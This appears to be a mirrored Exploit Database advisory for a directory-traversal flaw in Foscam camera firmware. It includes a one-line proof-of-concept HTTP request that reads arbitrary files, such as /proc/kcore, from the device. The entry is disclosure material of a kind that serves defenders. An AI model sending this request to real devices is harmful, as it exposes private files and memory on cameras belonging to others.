Foscam < 11.37.2.49 - Directory Traversal

Exploit Database
142 阅读

作者： Frederic Basse

日期： 2013-03-01
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/38356/

source: https://www.securityfocus.com/bid/58290/info

Foscam is prone to a directory-traversal vulnerability.

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application. This may aid in further attacks.

GET //../proc/kcore HTTP/1.0

last Exploits
Foscam < 11.37.2.49 - Directory Traversal的更多信息

Fitnesse Wiki – Remote Command Execution (Metasploit)：
Cisco WebEx Meeting Manager UCF – ‘atucfobj.dll’ ActiveX NewObject Method Buffer Overflow (Metasploit)：
Alt-N SecurityGateway 1.0.1 – ‘Username’ Remote Buffer Overflow (Metasploit)：
Authentium Command On Demand ActiveX Control – Multiple Buffer Overflow Vulnerabilities：
Alt-N MDaemon WorldClient And WebAdmin – Cross-Site Request Forgery：
Java Applet – Field Bytecode Verifier Cache Remote Code Execution (Metasploit)：
Microsoft Windows – ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) (MS07-017) (Metasploit)：
Trend Micro Control Manager – ImportFile Directory Traversal Remote Code Execution (Metasploit)：